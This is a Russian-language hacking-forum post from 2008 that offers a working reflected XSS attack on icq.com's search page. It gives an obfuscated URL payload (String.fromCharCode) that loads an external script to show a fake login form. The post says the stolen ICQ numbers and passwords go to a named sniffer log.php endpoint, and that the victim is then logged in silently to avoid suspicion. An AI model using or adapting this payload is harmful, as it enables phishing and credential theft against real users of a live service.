HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Фэйк через Xss на Icq.com
  #1  
Старый 18.03.2008, 11:06
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме:
500748

Репутация: 137
По умолчанию Фэйк через Xss на Icq.com

Увидел тему на форуме "Хss на Icq.com" только вот смысла в ней нету. ведь имея куки юин не угониш.

в голову пришла идея использовать фэйк через хсс

вот пример такой реализации фэйка через хss (пассивную, активную жалко выкладывать)

Код:
http://www.icq.com/search/results.php?q=%3Cscrip%3Edocument.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,101,119,113,101,119,113,101,113,101,119,113,101,119,113,46,110,97,114,111,100,46,114,117,47,102,51,46,106,115,34,62,60,47,115,99,114,105,112,116,62))%3C/script%3E
пс: убрать все пробелы в ссылке

номер-пароль будут приходить на http://antichat.org/s/red/log.php

актуально под всеми браузерами
( правдо в лисе приходят штук так 20 отчотов вместо одного)

скрипт фэйка почти беспаливный после ввода данных в форму данные летят на снифер и потом пытаются залогинится с этими данными на www.icq.com так что жертва пропалить ничего неладного (типо переадресации на левый сайт, обычнно этот метод используют в таких фэйках) не должна

Последний раз редактировалось ZET36; 18.03.2008 в 11:09..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss через Антивирус Касперского 7.0 o3,14um Уязвимости 9 24.03.2008 07:47
XSS на ICQ.com ещё действует Nova Skype, IRC, ICQ, Jabber и другие IM 1 13.02.2006 13:49
через xss куки на снифер LeopardSS Уязвимости Mail-сервис 1 20.01.2006 21:18
Взлом IBP 2.0.4 через Xss Astro Уязвимости CMS / форумов 3 29.11.2005 21:29
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.